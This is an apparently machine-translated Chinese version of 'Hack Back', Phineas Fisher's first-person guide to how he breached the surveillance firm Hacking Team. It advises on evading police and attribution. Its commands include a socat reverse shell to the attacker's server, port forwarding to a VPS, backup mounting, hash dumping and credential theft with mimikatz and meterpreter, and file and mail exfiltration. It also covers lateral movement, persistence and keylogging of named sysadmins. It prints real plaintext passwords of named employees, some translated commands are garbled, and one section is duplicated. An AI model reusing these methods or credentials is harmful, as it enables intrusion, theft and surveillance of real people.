# 黑客反击——自制指南（Hacking Team）

**由 LLM 翻译**

Hack Back, Subcowmandante Marcos, Phineas Fisher

Apr 26, 2017

# 目录

# 1 —引言

您会注意到自上一版以来语言的变化[1]。英语世界已经有大量关于黑客的书籍、演讲、指南和信息。在那个世界中，有很多比我更好的黑客，但他们滥用自己的才能为“防御”承包商、情报机构、保护银行和公司以及维护现状工作。黑客文化在美国诞生为一种反文化，但这种起源只存在于美学上——其余的都被同化了。至少他们可以穿着 T 恤衫、把头发染成蓝色、使用黑客名称，并在为老板工作时感到自己是叛逆者。

过去，您必须偷偷溜进办公室泄露文件[2]。您过去需要枪来抢银行。现在您可以在床上用笔记本电脑完成这两件事[3][4]。就像 CNT 在 Gamma Group 黑客事件后所说：“让我们用新的斗争形式向前迈出一步”[5]。黑客是一种强大的工具，让我们学习和战斗！

[1] pastebin.com
[2] en.wikipedia.org
[3] www.aljazeera.com
[4] securelist.com
[5] madrid.cnt.es

# 2 —黑客团队

黑客团队是一家帮助政府黑客和监视记者、活动家、政治反对派和其他对其权力构成威胁的人的公司[1][2][3][4][5][6][7][8][9][10][11]。偶尔，也会监视真正的罪犯和恐怖分子[12]。首席执行官 Vincenzetti 喜欢在电子邮件末尾加上法西斯口号“boia chi molla”。更准确地说应该是“boia chi vende RCS”。他们还声称拥有解决 Tor 和暗网“问题”的技术[13]。但鉴于我仍然自由，我对其有效性表示怀疑。

[1] www.animalpolitico.com
[2] www.prensa.com
[3] www.24-horas.mx
[4] citizenlab.org
[5] citizenlab.org
[6] citizenlab.org
[7] focusecuador.net
[8] www.pri.org
[9] theintercept.com
[10] www.wired.com
[11] www.theregister.co.uk
[12] www.ilmessaggero.it
[13] motherboard.vice.com

# 3 —保持安全

不幸的是，我们的世界是颠倒的。做坏事可以致富，而做好事却会入狱。幸运的是，得益于像 Tor 项目[1]这样的人的辛勤工作，您可以通过采取一些简单的预防措施避免入狱：

1）加密您的硬盘[2] 我猜当警察来没收您的电脑时，这意味着您已经犯了很多错误，但安全总比遗憾好。

2）使用虚拟机，并将所有流量通过 Tor 路由这实现了两件事。首先，您的所有流量都通过 Tor 匿名化。其次，将您的个人生活和黑客活动放在不同的电脑上，有助于您避免意外地将它们混在一起。

您可以使用像 Whonix[3]、Tails[4]、Qubes TorVM[5]或自定义解决方案[6]这样的项目。这里[7]有一个详细的比较。

3）（可选）不要直接连接到 Tor Tor 不是万能的。他们可以将您连接到 Tor 的时间与您的黑客昵称活跃的时间相关联。此外，已经有成功的针对 Tor 的攻击[8]。您可以使用其他人的 wifi 连接到 Tor。Wifislax[9]是一个拥有许多破解 wifi 工具的 linux 发行版。另一个选择是在连接到 Tor 之前连接到 VPN 或桥接节点[10]，但这不太安全，因为他们仍然可以将黑客的活动与您家的互联网活动相关联（这曾被用作针对 Jeremy Hammond 的证据[11]）。

现实是，虽然 Tor 并不完美，但它确实非常有效。当我年轻和鲁莽时，我做了很多除了 Tor 之外没有任何保护的事情（我指的是黑客），警察尽了最大的努力调查，但我从来没有遇到任何问题。

[1] www.torproject.org/
[2] info.securityinabox.org
[3] www.whonix.org/
[4] tails.boum.org/
[5] www.qubes-os.org
[6] trac.torproject.org
[7] www.whonix.org
[8] blog.torproject.org
[9] www.wifislax.com/
[10] www.torproject.org
[11] www.documentcloud.org

# 3.1 —基础设施

我不直接从 Tor 出口节点进行黑客攻击。它们在黑名单上，速度慢，并且无法接收回连。Tor 保护我的匿名性，而我连接到我用来黑客的基础设施，它包括：

1）域名用于 C&C 地址和 DNS 隧道，以保证出口。

2）稳定的服务器用于 C&C 服务器，接收回连 shell，发起攻击和存储战利品。

3）被黑的服务器用于作为枢纽，以隐藏稳定服务器的 IP 地址。当我想要快速连接而不需要枢纽时，例如扫描端口，扫描整个互联网，下载数据库等。

显然，您必须使用匿名支付方式，例如比特币（如果使用得当）。

## 3.2 —归因

在新闻中，我们经常看到攻击被追溯到政府支持的黑客组织（“APT”），因为他们反复使用相同的工具，留下相同的足迹，甚至使用相同的基础设施（域名，电子邮件等）。他们疏忽，因为他们可以在没有法律后果的情况下进行黑客攻击。

我不想让警察的工作变得更容易，将我的黑客攻击与我以前的黑客攻击或我日常工作中使用的名字联系起来。因此，我使用了新的服务器和域名，用新的电子邮件注册，并使用新的比特币地址付款。此外，我只使用公开可用的工具或我专门为此次攻击编写的工具，并且我改变了我的做事方式，以避免留下我的通常的法医足迹。

# 4 —信息收集

虽然这阶段可能很枯燥，但它非常重要，因为攻击面越大，就越容易在某个地方找到一个漏洞。

# 4.1 —技术信息

一些工具和技术包括:

1）Google 通过几个精心选择的搜索查询，可以找到很多有趣的东西。例如，DPR[1] 的身份。Google 黑客的圣经是《Google 黑客入侵测试人员》一书。您可以在[2] 找到一份西班牙语的简短摘要。

2)子域枚举通常,公司的主要网站由第三方托管,您可以通过子域(如 mx.company.com 或 ns1.company.com）找到公司的实际 IP 范围。此外，有时在“隐藏”的子域中会发现不应该暴露的东西。发现域和子域的有用工具包括 fierce[3]、theHarvester[4] 和 recon-ng[5]。

3）Whois 查询和反向查询使用域或公司的 IP 范围的 Whois 信息进行反向查询，可以找到其他域和 IP 范围。据我所知，除了 Google“黑客”之外，没有免费的方法可以进行反向查询:

“via della moscova 13” site:www.findip-address.com “via della moscova 13” site:domaintools.com

4）端口扫描和指纹识别与其他技术不同，这种方法与公司的服务器进行通信。我将其包含在本节中，因为它不是攻击，只是信息收集。公司的 IDS 可能会生成警报，但您不必担心，因为整个互联网都在不断被扫描。

对于扫描，nmap[6] 是精确的，并且可以识别大多数发现的服务的指纹。对于具有非常大 IP 范围的公司，zmap[7] 或 masscan[8] 是快速的。WhatWeb[9] 或 BlindElephant[10] 可以识别网站的指纹。

[1] www.nytimes.com
[2] www.soulblack.com.arf][web.archive.org]]
[3] ha.ckers.org
[4] github.com
[5] bitbucket.org
[6] nmap.org/
[7] zmap.io/
[8] github.com
[9] www.morningstarsecurity.com
[10] blindelephant.sourceforge.net/

# 4.2 —社交信息

对于社会工程，拥有关于员工、他们的角色、联系信息、操作系统、浏览器、插件、软件等信息是有用的。一些资源包括：

1）Google 在这里，它也是最有用的工具。

2）theHarvester 和 recon-ng 我已经在前一节中提到了它们，但它们有很多更多的功能。它们可以快速、自动地找到很多信息。值得阅读它们的所有文档。

3）LinkedIn 在这里可以找到很多关于员工的信息。公司的招聘人员最有可能接受您的连接请求。

4）Data.com 以前称为 jigsaw。他们拥有很多员工的联系信息。

5）文件元数据在公司发布的文件的元数据中，可以找到很多关于员工和他们的系统的信息。用于在公司网站上查找文件和提取元数据的有用工具是 metagoofil[1] 和 FOCA[2]。

[1] github.com

[2] www.elevenpaths.com

# 5 —进入网络

有各种方法可以获得立足点。由于我对黑客团队使用的方法不常见，而且比通常需要的要多得多，所以我将谈论两种最常见的方法，我建议先尝试它们。

# 5.1 —社交工程

社交工程，特别是鱼叉式网络钓鱼，是当今大多数黑客攻击的原因。有关西班牙语的介绍，请参阅[1]。有关英语的更多信息，请参阅[2]（第三部分，“有针对性的攻击”）。有关过去几代人的社交工程攻击的有趣故事，请参阅[3]。我不想尝试对黑客团队进行鱼叉式网络钓鱼，因为他们的整个业务是帮助政府对他们的对手进行鱼叉式网络钓鱼，所以他们更有可能识别和调查鱼叉式网络钓鱼企图。

[1] www.hacknbytes.com
[2] blog.cobaltstrike.com
[3] www.netcomunity.com

# 5.2 —购买访问权

感谢勤奋的俄罗斯人和他们的漏洞利用工具包、流量销售商和僵尸网络牧场主，许多公司已经在其网络中拥有受损的计算机。几乎所有的财富 500 强公司都有巨大的网络，其中一些僵尸程序已经存在其中。然而，黑客团队是一家非常小的公司，其大多数员工都是信息安全专家，因此他们已经被泄露的可能性很低。

# 5.3 —技术利用

在 Gamma Group 黑客攻击之后，我描述了一个搜索漏洞的过程[1]。黑客团队有一个公共 IP 范围:

```
inetnum:        93.62.139.32  -  93.62.139.47
descr:          HT public subnet
```

黑客团队在互联网上暴露的东西很少。例如，与 Gamma Group 不同，他们的客户支持网站需要客户端证书才能连接。他们有的只是他们的主网站（一个 Joomla 博客，其中 Joomscan

[1] pastebin.com

# 6 —准备就绪

在对黑客团队使用漏洞之前，我做了很多工作和测试。我编写了一个后门固件，并为嵌入式设备编译了各种后利用工具。后门用于保护漏洞。只使用一次漏洞，然后通过后门返回，使得识别和修补漏洞变得更加困难。

我准备的后利用工具是：

1）busybox 用于所有系统没有的标准 Unix 实用程序。

2）nmap 用于扫描和指纹识别黑客团队的内部网络。

3）Responder.py 当您有权访问内部网络但没有域用户时，攻击 Windows 网络最有用的工具。

4）Python 用于执行 Responder.py

5）tcpdump 用于嗅探流量。

6）dsniff 用于嗅探来自明文协议（如 ftp）的密码，以及用于 arp 欺骗。我想使用由黑客团队自己的 ALoR 和 NaGA 编写的 ettercap，但很难为该系统编译它。

7）socat 用于具有 pty 的舒适 shell：

```
my_server: socat file: ‘ tty ‘ ,raw,echo=0 tcp-listen:my_port
hacked box: socat exec: ‘ bash -li ’ ,pty,stderr,setsid,sigint,sane \
       tcp:my_server:my_port
```

并且对很多其他事情都很有用，它是一个网络瑞士军刀。请参阅其文档的示例部分。

8）screen 像带有 pty 的 shell 一样，它并不是真正必要的，但我想在黑客团队的网络中感到宾至如归。

9）SOCKS 代理服务器用于与 proxychains 一起使用，以便能够从任何程序访问他们的本地网络。

10）tgcd 用于通过防火墙转发端口，例如用于 SOCKS 服务器。

最糟糕的事情是我的后门或后利用工具使系统不稳定并导致员工进行调查。因此，我花了一个星期在其他易受攻击的公司的网络中测试我的漏洞、后门和后利用工具，然后才进入黑客团队的网络。

# 7 —观察和监听

现在我已经进入了他们的内部网络，我想四处看看并思考我的下一步。我以分析模式（-A 以监听而不发送毒化响应）启动了 Responder.py，并使用 nmap 进行了慢速扫描。

# 8 —NoSQL 数据库

NoSQL，或者说 NoAuthentication，对黑客社区来说是一个巨大的礼物[1]。就在我担心他们终于修补了 MySQL 中的所有身份验证绕过漏洞[2][3][4][5]时，新的数据库变得流行起来，这些数据库在设计上缺乏身份验证。Nmap 在黑客团队的内部网络中发现了一些：

```
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5
```

它们是 RCS 测试实例的数据库。RCS 记录的音频存储在带有 GridFS 的 MongoDB 中。torrent[6]中的音频文件夹来自此。他们无意中在监视自己。

[1] www.shodan.io
[2] community.rapid7.com
[3] archives.neohapsis.com
[4] downloads.securityfocus.com
[5] archives.neohapsis.com
[6] ht.transparencytoolkit.org

# 9 —交叉连接

虽然监听录音和观看黑客团队开发恶意软件的网络摄像头图像很有趣，但这并不是很有用。他们不安全的备份是打开他们大门的漏洞。根据他们的文档[1]，他们的 iSCSI 设备应该在一个单独的网络中，但 nmap 在他们的子网 192.168.1.200/24 中发现了几个:

```
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000 - 01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000 - 01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required
```

iSCSI 需要一个内核模块，并且很难为嵌入式系统编译它。我转发了端口，以便我可以从 VPS 上挂载它:

```
VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
```

[1] ht.transparencytoolkit.org

```
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
```

现在 iSCSI 找到了名称 iqn.2000-01.com.synology，但在挂载时遇到了问题，因为它认为自己的 IP 是 192.168.200.72 而不是 127.0.0.1

我解决这个问题的方法是：

```
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0
```

现在，在执行以下命令后：

```
iscsiadm -m node --targetname=iqn.2000 - 01.com.synology:synology-backup.name

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
```

并找到各种虚拟机的备份。Exchange 服务器看起来是最有趣的。它太大了，无法下载，但可以远程挂载它来查找有趣的文件：

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/ dev/ loop0p1            2048   1258287103    629142528    7  HPFS/
NTFS/exFAT
```

因此偏移量为 2048 * 512 = 1048576

```
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
```

现 在 在/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 中，我们找到了 VM 的硬盘，并挂载它：

```
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /
mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
```

…最后，我们解开了俄罗斯套娃，可以在/mnt/part1 中看到旧 Exchange 服务器的所有文件：

# 10 —从备份到域管理员

我最感兴趣的是查看备份中是否有可以用于访问实时服务器的密码或哈希值。我在注册表配置单元上使用了 pwdump、cachedump 和 lsadump[1]。lsadump 找到了 besadmin 服务帐户的密码:

```
_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
```

我使用 proxychains[2]与嵌入式设备上的 socks 服务器和 smbclient[3]来检查密码:

```
proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/
besadmin%bes32678!!!’
```

它成功了！besadmin 的密码仍然有效，并且是本地管理员。我使用我的代理和 metasploit 的 psexec_psh[4]获得了一个 meterpreter 会话。然后我迁移到一个 64 位进程，运行“load kiwi”[5]，“creds_wdigest”，并获得了一堆密码，包括域管理员:

```
HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
```

[1] github.com
[2] proxychains.sourceforge.net/
[3] www.samba.org/
[4] ns2.elhacker.net
[5] github.com

```
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!
```

# 11 —下载邮件

有了域管理员密码，我就可以访问公司的邮件了，这是公司的核心。由于每一步都有被检测的风险，我在继续探索之前先下载了他们的邮件。Powershell 使这变得很容易[1]。奇怪的是，我发现了 Powershell 处理日期的 bug。在下载邮件后，又过了几周，我才获得了源代码和其他一切的访问权，所以我不时地返回下载新的邮件。服务器是意大利的，日期格式为日/月/年。我使用：

```
-ContentFilter {(Received -ge ’05/06/2015’) -or (Sent -ge ’05/06/2015’)}
```

使用 New-MailboxExportRequest 下载新的邮件（在这种情况下，所有 6 月 5 日以来的邮件）。问题是，如果您尝试使用大于 12 的日期，它会说日期无效（我想是因为在美国，月份在前面，您不能有大于 12 的月份）。看起来微软的工程师只用他们自己的语言环境测试他们的软件。

[1] www.stevieg.org

# 12 —下载文件

现在我已经获得了域管理员权限，我开始使用我的代理和 smbclient 的-Tc 选项下载文件共享，例如：

```
proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ \
    -U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘
```

# 13 —下载文件

现在我已经获得了域管理员权限，我开始使用我的代理和 smbclient 的-Tc 选项下载文件共享，例如：

我以这种方式下载了 Amministrazione、FAE DiskStation 和 FileServer 文件夹。

# 13 —介绍 Windows 域黑客

在继续讲述“weones culiaos”（黑客团队）的故事之前，我应该提供一些关于黑客 Windows 网络的一般知识。

# 13.1 —横向移动

我将简要回顾一下在 Windows 网络中传播的不同技术。远程执行技术需要目标上的本地管理员密码或哈希值。到目前为止，获得这些凭据最常见的方法是使用 mimikatz[1]，尤其是 sekurlsa::logonpasswords 和 sekurlsa::msv，在您已经具有管理员访问权限的计算机上。“就地”移动技术也需要管理特权（除了 runas）。特权升级最重要的工具是 PowerUp[2]和 bypassuac[3]。

远程移动：1）psexec 这是 Windows 上横向移动的经典方法。您可以使用 psexec[4]、winexe[5]、metasploit 的 psexec_psh[6]、Powershell Empire 的 invoke_psexec[7]或内置的 Windows 命令“sc”[8]。对于 metasploit 模块、powershell empire 和 pth-winexe[9]，您只需要哈希值，而不是密码。这是最通用的方法（它适用于任何打开 445 端口的 Windows 计算机），但也是最不隐蔽的。在事件日志中将出现事件类型 7045“服务控制管理器”。根据我的经验，在黑客攻击期间没有人注意到，但它有助于调查人员事后拼凑出黑客做了什么。

1.

WMI 最隐蔽的方法。WMI 服务在所有 Windows 计算机上都启用，但除服务器外，默认情况下防火墙会阻止它。你可以使用 wmiexec.py[10]、pth-wmis[11]（这是 wmiexec 和 pth-wmis 的演示[12]）、Powershell Empire 的 invoke_wmi[13]或 Windows 内置的 wmic[14]。除 wmic 外，其他所有方法都只需要哈希值。

1.

---

[1] adsecurity.org
[2] github.com
[3] github.com
[4] technet.microsoft.com
[5] sourceforge.net
[6] www.rapid7.com
[7] www.powershellempire.com
[8] blog.cobaltstrike.com
[9] github.com
[10] github.com
[11] www.trustedsec.com
[12] www.powershellempire.com
[13] www.maquinasvirtuales.eu
[14] adsecurity.org

PSRemoting[15] 默认情况下它是禁用的，我不建议启用新协议。但是，如果系统管理员已经启用了它，那么它非常方便，尤其是当你使用 Powershell 进行所有操作时（你应该使用 Powershell 进行几乎所有操作，它将会随着 Powershell 5 和 Windows 10 的发布而改变[16]，但目前 Powershell 使得在 RAM 中执行所有操作、避免 AV 和留下小的足迹变得容易）

1.

计划任务你可以使用 at 和 schtasks[17]执行远程程序。在同样的情况下，你可以使用 psexec，它也会留下一个众所周知的足迹[18]。

1.

组策略如果所有这些协议都被禁用或被防火墙阻止，一旦你成为域管理员，你就可以使用组策略来给用户一个登录脚本、安装一个 msi、执行一个计划任务[19]，或者，正如我们将看到的 Hacking Team 的系统管理员之一 Mauro Romeo 的计算机一样，使用组策略来启用 WMI 并打开防火墙。

“就地”移动：

1. 令牌窃取一旦你在一台计算机上获得了管理员访问权限，你就可以使用其他用户的令牌来访问域中的资源。两个用于此目的的工具是 incognito[20]和 mimikatz token::* 命令[21]。

1.

MS14-068 你可以利用 Kerberos 中的验证漏洞生成域管理员票据[22][23][24]。

1.

传递哈希值如果你拥有一个用户的哈希值，但他们没有登录，你可以使用 sekurlsa::pth[25]来获取该用户的票据。

1.

[15] www.secureworks.com
[16] github.com
[17] blog.cobaltstrike.com
[18] www.indetectables.net
[19] www.pri.org
[20] www.indetectables.net
[21] adsecurity.org
[22] github.com
[23] adsecurity.org
[24] www.hackplayers.com
[25] adsecurity.org

进程注入任何远程访问工具（RAT）都可以将自己注入到其他进程中。例如，meterpreter 和 pupy[26]中的 migrate 命令，或者 powershell empire 中的 psinject[27]命令。你可以注入到拥有你想要的令牌的进程中。

1.

runas 这有时非常有用，因为它不需要管理员权限。该命令是 Windows 的一部分，但如果你没有图形界面，你可以使用 powershell[28]。

[26] github.com
[27] www.powershellempire.com
[28] github.com

# 13.2 —持久性

一旦你获得了访问权限，你就想保持它。实际上，持久性只对像 Hacking Team 这样针对活动家和其他个人的混蛋来说是一个挑战。对于黑客公司来说，持久性不是必要的，因为公司永远不会睡觉。我总是使用 Duqu 2 风格的“持久性”，在几个高可用性服务器上的 RAM 中执行。在极少数情况下，他们同时重启，我有密码和黄金票据[1]作为备份访问。你可以在这里阅读更多关于 Windows 持久性技术的信息[2][3][4]。但是对于黑客公司来说，这不是必要的，而且它增加了被检测的风险。

[1] blog.cobaltstrike.com
[2] www.harmj0y.net
[3] www.hexacorn.com
[4] blog.netspi.com

# 13.3 —内部侦察

目前了解 Windows 网络的最佳工具是 Powerview[1]。值得阅读作者写的所有内容[2]，尤其是[3]、[4]、[5]和[6]。Powershell 本身也非常强大[7]。由于仍然有许多没有 Powershell 的 Windows 2000 和 2003 服务器，你还必须学习旧的方法[8]，使用像 netview.exe[9]这样的程序或 Windows 内置的“net view”。我喜欢的其他技术包括：

下载文件名列表使用 Domain Admin 帐户，你可以使用 powerview 下载网络中所有文件名的列表：

```
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
 select-string ‘ ^(.*) \t- ’ | %{dir -recurse $_.Matches[0].Groups[1] |
 select fullname | out-file -append files.txt}
```

1.

下载文件名列表稍后，你可以在空闲时阅读并选择要下载的文件。

1.

阅读电子邮件正如我们已经看到的，你可以使用 powershell 下载电子邮件，它包含很多有用的信息。

1.

阅读 SharePoint 这是另一个许多企业存储大量重要信息的地方。它也可以使用 powershell 下载[10]。

1.

[1] github.com
[2] www.harmj0y.net
[3] www.harmj0y.net
[4] www.harmj0y.net
[5] www.harmj0y.net
[6] www.slideshare.net
[7] adsecurity.org
[8] www.youtube.com
[9] github.com
[10] blogs.msdn.microsoft.com

活动目录[11] 它包含了很多关于用户和计算机的有用信息。在没有成为域管理员的情况下，你已经可以使用 powerview 和其他工具[12]获取很多信息。在获得域管理员权限后，你应该使用 csvde 或其他工具导出所有 AD 信息。

1.

监视员工

我最喜欢的爱好之一是猎取系统管理员。监视 Christian Pozzi（Hacking Team 的一名系统管理员）让我获得了一个 Nagios 服务器的访问权限，该服务器让我获得了 Rete Sviluppo（开发网络，包含 RCS 的源代码）的访问权限。使用 PowerSploit[13]中的 Get-Keystrokes 和 Get-TimedScreenshot，nishang[14]中的 Do-Exfiltration，以及 GPO，你可以监视任何员工，甚至整个域。

[11] adsecurity.org
[12] www.darkoperator.com
[13] github.com
[14] github.com

# 14 —猎取系统管理员

阅读他们关于基础设施的文档[1]，我发现我仍然缺乏对某些重要内容的访问权限——“Rete Sviluppo”，一个包含 RCS 源代码的隔离网络。公司的系统管理员总是拥有对所有内容的访问权限，所以我搜索了 Mauro Romeo 和 Christian Pozzi 的计算机，以了解他们如何管理 Sviluppo 网络，并查看是否有其他有趣的系统需要调查。访问他们的计算机很简单，因为它们是 Windows 域的一部分，我已经获得了管理员访问权限。Mauro Romeo 的计算机没有打开任何端口，所以我打开了 WMI[2]端口并执行了 meterpreter[3]。除了使用 Get-Keystrokes 和 Get-TimeScreenshot 进行键盘记录和屏幕截图外，我还使用了 metasploit 的许多/gather/模块，CredMan.ps1[4]，并搜索了有趣的文件[5]。当我看到 Pozzi 有一个 Truecrypt 卷时，我等待他挂载它，然后复制了文件。许多人嘲笑 Christian Pozzi 的弱密码（以及 Christian Pozzi 本人，他提供了很多素材[6][7][8][9]）。我将它们包含在泄露的文件中作为虚假线索，并嘲笑他。事实是，mimikatz 和键盘记录器对所有密码都是一视同仁的。

[1] hacking.technology
[2] www.hammer-software.com
[3] www.trustedsec.com
[4] gallery.technet.microsoft.com
[5] pwnwiki.io
[6] archive.is
[7] hacking.technology
[8] hacking.technology
[9] hacking.technology

# 15 —桥梁

在 Christian Pozzi 的 Truecrypt 卷中，有一个包含许多密码的文本文件[1]。其中一个是用于完全自动化的 Nagios 服务器的密码，该服务器具有访问 Sviluppo 网络的权限，以便监控它。我找到了我需要的桥梁。文本文件中只有 Web 界面的密码，但有一个公开的代码执行漏洞[2]（它是一个未经身份验证的漏洞，但它需要至少一个用户启动会话，我使用了文本文件中的密码）。

[1] hacking.technology
[2] seclists.org

# 16 —重用和重置密码

阅读电子邮件，我看到 Daniele Milan 授予了对 Git 仓库的访问权限。我已经拥有了他的 Windows 密码，感谢 mimikatz。我在 Git 服务器上尝试了它，成功了。然后我尝试了 sudo，成功了。对于 Gitlab 服务器和他们的 Twitter 帐户，我使用了“忘记密码”功能以及我对他们的邮件服务器的访问权限来重置密码。

# 17 —结论

这就是摧毁一家公司并阻止他们侵犯人权所需的全部。这就是黑客的美丽和不对称性：一个人可以用 100 小时的工作来摧毁一家价值数百万美元的公司多年的工作。黑客给了弱者战斗和获胜的机会。

黑客指南通常以免责声明结尾：此信息仅用于教育目的，请成为道德黑客，不要攻击您没有权限的系统等。我会说同样的话，但具有更具反叛精神的“道德”黑客概念。泄露文件、从银行中没收钱财、为普通人的计算机提供安全保障，这些都是道德黑客。然而，大多数自称为“道德黑客”的人只是为那些支付高昂咨询费的人提供安全保障，而这些人往往是最应该被黑客攻击的。

Hacking Team 认为自己是意大利设计灵感的传承者[1]。我将 Vincenzetti、他的公司、他的警察、军队和政府中的同伙视为意大利法西斯主义的传承者。我想将本指南献给 Armando Diaz 学校袭击事件的受害者，以及所有被意大利法西斯主义者牺牲的人。

[1] twitter.com

# 18 —联系

要发送针对我的鱼叉式网络钓鱼攻击、意大利语的死亡威胁[1][2]，以及给我 0day 漏洞或银行、公司、政府等内部访问权限。

请只使用加密电子邮件：securityinabox.org


```
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaOO084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
```


[1] andres.delgado.ec

[2] twitter.com

```
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
```

If not you, who? If not now, when?

```
 _   _             _      ____              _    _
| | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
| |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
|  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
```

Hack Back, Subcowmandante Marcos, Phineas Fisher
黑客反击——自制指南（Hacking Team）
由 LLM 翻译
Apr 26, 2017

https://theanarchistlibrary.org/library/hack-back-subcowmandante-marcos-phineas-fisher-hack-back-a-diy-guide-hacking-team

**nightfall.buzz**